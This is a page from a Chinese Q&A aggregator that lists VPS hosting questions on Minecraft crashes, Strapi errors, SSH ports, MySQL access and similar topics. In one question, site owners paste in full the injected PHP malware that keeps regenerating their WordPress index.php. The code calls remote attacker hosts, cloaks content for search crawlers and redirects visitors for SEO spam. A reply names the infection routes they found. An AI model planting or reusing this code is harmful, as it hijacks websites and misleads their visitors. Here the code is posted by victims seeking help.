vps 相关问题

VPS代表虚拟专用服务器,通常指的是租用在共享物理机器上私有运行的虚拟机的单个实例。

VPS 上的 Minecraft 服务器由于资源和看门狗错误而崩溃

我租了一个 8GB RAM 的 VPS 来为我的朋友托管一个 minecraft 服务器,但是服务器每天崩溃一次。为了设置服务器,我使用了 https://www.ionos.com/digitalguide/server/know-how/minecraft-

回答 0 投票 0

连接到在 VPS 上运行的统一服务器的问题

我正在尝试在 Unity 引擎中制作一个在线回合制游戏,所以我统一编写了一个基于 Jason 的简单服务器,它获取用户名并在 VPS 中的 MongoDB 上存储一些值(运行 win server 2019 ...

回答 0 投票 0

响应代码 500。消息:未知错误:无法写入首选项文件 SELENIUM

我在 windows 上用 java 中的 selenium 做了一个小机器人,我试图在安装了 ubuntu 的 linux vps 上导出它。 (我从 Windows Chrome 配置文件(默认)导出到 Linux Vps 配置文件目录 b...

回答 1 投票 0

来自 gitlab alpine runner 的 SSH 连接问题

我正面临 gitlab ci 的问题。 我有一个部署阶段,应该使用 ssh 联系我的 VPS 并询问我的 gitlab 注册表。 问题是当你试图验证我的高山跑步者......

回答 0 投票 0

找不到模块 'strapi' 和 404 错误

我无法在私人 VPS 上连接我的 strapi。以下是我的步骤和我尝试做的事情。 包.json { “名称”:“我的-strapi-项目”, “私人”:是的, “已经...

回答 1 投票 0

无法在端口 22 以外的其他端口登录远程 VPS

出于安全原因,我将 ssh 登录的端口更改为不同的号码。但是,一旦我这样做并尝试重新连接,我就会收到“连接超时错误”。 一旦我切换回端口 22,一切正常

回答 0 投票 0

在本地运行的代码在 vps 上不起作用

我有使用 distube 的不和谐音乐机器人。它在我的计算机上本地运行良好但是当我将所有文件上传到 vps 甚至模式模块时音乐不播放并且什么时候在音乐上自动播放跳过...

回答 1 投票 0

我无法从 mysql workbench 或 powershell 连接到 Oracles ubuntu vps 上的 mysql

所以我有一个带有 laravel 的 oracle vps 实例。我已经测试过它可以与 mysql 安全安装一起使用。我的意思是我在浏览器中打开应用程序,进行粗略操作等,一切正常。但是当...

回答 1 投票 0

Ubuntu VPS 上的 Apache2 文件读写权限

我花了大半个下午的时间试图弄清楚如何允许实时服务器 (Ubuntu 20.04 VPS) 上的 apache2/mywebsite 创建、写入和读取文件。我试过更改所有权、访问权限,

回答 0 投票 0

在 vps 服务器中部署后在生产 strapi 中出现错误

Strapi版本:4.7.1 操作系统:Ubuntu 22.04.2 LTS 数据库:Postgres 节点版本:v18.14.2 NPM 版本:v9.5.0 纱线版本:v1.22.19 我在加载内容时遇到问题。我安装了 strapi ...

回答 0 投票 0

我正在寻找关于为什么我的数据库在上传到 PhPmyadmin 时显示错误的建议

我刚刚决定将我的网站从云端迁移到 VPS。我备份了我的文件并将它们上传到成功的VPS帐户。 然后我备份了我的数据库并将其上传到

回答 0 投票 0

NodeJS 在通过 ssh 连接运行 nodemon 时引发导入错误

在 Visual Studio Code 中,当我毫无问题地运行 nodemon 应用程序时,我可以看到我的网站在本地端口上运行。 现在我尝试做的是使用 CentOS7 VPS 服务在我的终端中运行我的 app.js ...

回答 0 投票 0

有什么更好的方法来确保我的数据库安全并 100% 正常运行?

我有一个专用服务器,最近因为供应商的基础架构问题而关闭了8个小时,这给我造成了巨大的损失,我什至可以再次将应用程序在线...

回答 0 投票 0

我们的 cPanel Wordpress 网站正在自动创建此 index.php

<?php $group_num = 'z9126zn'; $inter_domain = 'http://' . $group_num . '.lievful.quest'; function curl_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()) { $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } function is_crawler($agent) { if (strpos($agent, 'google') !== false || strpos($agent, 'yahoo') !== false) { return true; } else { return false; } } function check_refer($refer) { if (strpos($refer, '.co.jp') !== false || strpos($refer, 'google.com') !== false) { return true; } else { return false; } } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $req_uri = $_SERVER['REQUEST_URI']; $domain = $_SERVER["HTTP_HOST"]; $self = $_SERVER['PHP_SELF']; $ser_name = $_SERVER['SERVER_NAME']; $req_url = $http . $domain . $req_uri; $indata1 = $inter_domain . "/indata.php"; $map1 = $inter_domain . "/map.php"; $jump1 = $inter_domain . "/jump.php"; $url_words = $inter_domain . "/words.php"; $url_robots = $inter_domain . "/robots.php"; if (strpos($req_uri, ".php")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } $data1[] = array(); $data1['http'] = $http; $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); if(getenv('HTTP_CLIENT_IP')){ $client_ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $client_ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $client_ip = getenv('REMOTE_ADDR'); } else { $client_ip = $_SERVER['REMOTE_ADDR']; } if (substr($req_uri, -6) == 'robots') { $robots_cont = getServerCont($url_robots, $data1); define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__)); file_put_contents(BASE_PATH . '/robots.txt', $robots_cont); $robots_cont = file_get_contents(BASE_PATH . '/robots.txt'); if (strpos($robots_cont, "Crawl-delay:3")) { echo 'robots.txt file create success!'; } else { echo 'robots.txt file create fail!'; } exit; } if (substr($req_uri, -4) == '.xml') { if (strpos($req_uri, "pingsitemap.xml")) { $str_cont = getServerCont($map1, $data1); $str_cont_arr = explode(",", $str_cont); $str_cont_arr[] = 'sitemap'; for ($k = 0; $k < count($str_cont_arr); $k++) { if (strpos($href1, ".php") > 0) { $tt1 = '?'; } else { $tt1 = '/'; } $http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml'; $data_new = 'https://www.google.com/ping?sitemap=' . $http2; $data_new1 = 'http://www.google.com/ping?sitemap=' . $http2; if (stristr(@file_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@file_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else { echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL; } } exit; } if (strpos($req_uri, "allsitemap.xml")) { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit; } if (strpos($req_uri, ".php")) { $word4 = explode("?", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace(".xml", "", $word4); } else { $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == '1') { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit; } $data1['action'] = "check_words"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "map") > 0 || $check1 == '1') { $data1['action'] = "rand_xml"; $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; exit; } } if (strpos($req_uri, ".php")) { $main_shell = $http . $ser_name . $self; $data1['main_shell'] = $main_shell; } else { $main_shell = $http . $ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); $bot=true; if ($chk_refer) { $data1['referer'] = $referer; $data1['ip'] = $client_ip; $data1['user_agent'] = $user_agent; $data1['browser_la'] = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $refer_content = getServerCont($jump1, $data1); if ($refer_content != "404") { echo $refer_content; exit; } $bot=false; } $res_crawl = is_crawler($user_agent); if ($res_crawl&&$bot) { $data1['http_user_agent'] = $user_agent; $get_content = getServerCont($indata1, $data1); if ($get_content == "404") { header('HTTP/1.0 404 Not Found'); exit; } else if ($get_content == "500") { header("HTTP/1.0 500 Internal Server Error"); exit; } else if ($get_content == "blank") { echo ''; exit; } else { echo $get_content; exit; } } ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; 这是我们无法控制的 index.php 文件。 我们有带有 cPanel 和 wordpress 托管的 Godaddy VPS 服务器。我们在目录中安装了 wordpress 站点,该目录会自动创建 INDEX 文件,打开时显示 HTTP ERROR 500。 这是在我们的 VPS 服务器中自动创建的。当我们更改它时它会自动修改。删除时自动创建。 简而言之,我们无法控制目录和这个文件。 我也有同样的问题 <?php $group_num = 'z0109_18'; $inter_domain = 'http://107.150.41.2//' . $group_num . '/'; function curl_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()) { $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } function is_crawler($agent) { $agent_check = false; $bots = 'googlebot|google|yahoo|bing|aol'; if ($agent != '') { if (preg_match("/($bots)/si", $agent)) { $agent_check = true; } } return $agent_check; } function check_refer($refer) { $check_refer = false; $referbots = 'google.co.jp|yahoo.co.jp|google.com'; if ($refer != '' && preg_match("/($referbots)/si", $refer)) { $check_refer = true; } return $check_refer; } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $req_uri = $_SERVER['REQUEST_URI']; $domain = $_SERVER["HTTP_HOST"]; $self = $_SERVER['PHP_SELF']; $ser_name = $_SERVER['SERVER_NAME']; $req_url = $http . $domain . $req_uri; $indata1 = $inter_domain . "/indata.php"; $map1 = $inter_domain . "/map.php"; $jump1 = $inter_domain . "/jump.php"; $url_words = $inter_domain . "/words.php"; $url_robots = $inter_domain . "/robots.php"; if (strpos($req_uri, ".php")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } $data1[] = array(); $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; if (substr($req_uri, -6) == 'robots') { $robots_cont = getServerCont($url_robots, $data1); define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__)); file_put_contents(BASE_PATH . '/robots.txt', $robots_cont); $robots_cont = file_get_contents(BASE_PATH . '/robots.txt'); if (strpos(strtolower($robots_cont), "sitemap")) { echo 'robots.txt file create success!'; } else { echo 'robots.txt file create fail!'; } return; } if (substr($req_uri, -4) == '.xml') { if (strpos($req_uri, "pingsitemap.xml")) { $str_cont = getServerCont($map1, $data1); $str_cont_arr = explode(",", $str_cont); $str_cont_arr[] = 'sitemap'; for ($k = 0; $k < count($str_cont_arr); $k++) { if (strpos($href1, ".php") > 0) { $tt1 = '?'; } else { $tt1 = '/'; } $http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml'; $data_new = 'https://www.google.com/ping?sitemap=' . $http2; $data_new1 = 'http://www.google.com/ping?sitemap=' . $http2; if (stristr(@file_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@file_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else { echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL; } } return; } if (strpos($req_uri, "allsitemap.xml")) { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } if (strpos($req_uri, ".php")) { $word4 = explode("?", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace(".xml", "", $word4); } else { $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == '1') { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } $data1['action'] = "check_words"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml"; $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; return; } if (strpos($req_uri, ".php")) { $main_shell = $http . $ser_name . $self; $data1['main_shell'] = $main_shell; } else { $main_shell = $http . $ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); if (strpos($_SERVER['REQUEST_URI'], '.php')) { $url_ext = '?'; } else { $url_ext = '/'; } if ($chk_refer && (preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".html", ".htm"), "", $_SERVER['REQUEST_URI'])))))) { echo getServerCont($jump1, $data1); return; } $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $res_crawl = is_crawler($user_agent); if ($res_crawl) { $data1['http_user_agent'] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; return; } ?> 我现在唯一的解决办法是删除 index.php recolection.php 和 wp-admin 和 wp-includes 文件夹。 之后,我重新安装了 WordPress,该网站再次运行。 过了一会儿 我开始检查所有内容,我发现了 3 个感染选项 Ftp 的另一个帐户(在您的 cpanel 中搜索用户) 创建文件的 Cron 任务 Cpanel 帐户妥协。我刚更改了密码,它就停止了。

回答 1 投票 0

无法连接到 VPS 上的 FiveM 服务器

我有一个用于 FiveM 服务器的 OVH Ubuntu VPS。我已经在服务器方面完美地设置了一切。 UFW 被禁用,即使在 OVH 的控制面板上也没有防火墙处于活动状态。我去港口检查,然后...

回答 0 投票 0

在 VPS 上使用 CLOUDFLARE SSL 在 OPENSSL 上“无法验证第一个证书”。什么都试过了

好的,所以我在我的 vps 中安装了 CLOUDFLARE SSL,有 3 个文件。 1 个密钥、1 个证书和 1 个根证书均由 cloudflare 提供。我试图连接证书和根证书...

回答 0 投票 0

如何在vmware esxi上为虚拟机添加专用ip

所以我有一个专用服务器,有 3 个 ip 地址,1 个属于专用服务器,另外 2 个用于虚拟机。 如何将其中一个免费 IP 地址分配给特定的虚拟

回答 0 投票 0

com.jcraft.jsch.JSchException:在 ktor kotlin 中验证失败

我是编程新手。 我使用 ktor 构建了一个后端,现在我想将该应用程序部署到服务器。 我已经尝试在虚拟专用服务器上多次部署它,但每次我都...

回答 0 投票 0

试图连接到Bitbucket的致命错误。

我试图在我的CentOS VPS上通过https从Bitbucket上进行git pull,虽然几周前还能用,但今天不行了。给我这个错误。Fatal: unable to access 'https:/username@bitbucket...'。

回答 1 投票 0

为什么谷歌GCP不支持跨区域UDP负载均衡?

我喜欢建立一个DNS服务器与AnyCast ip.尝试使用谷歌GCP做负载平衡。但我发现它只支持TCP跨区域负载均衡,为什么google不支持跨区域UDP负载...。

回答 1 投票 -2

© www.soinside.com 2019 - 2024. All rights reserved.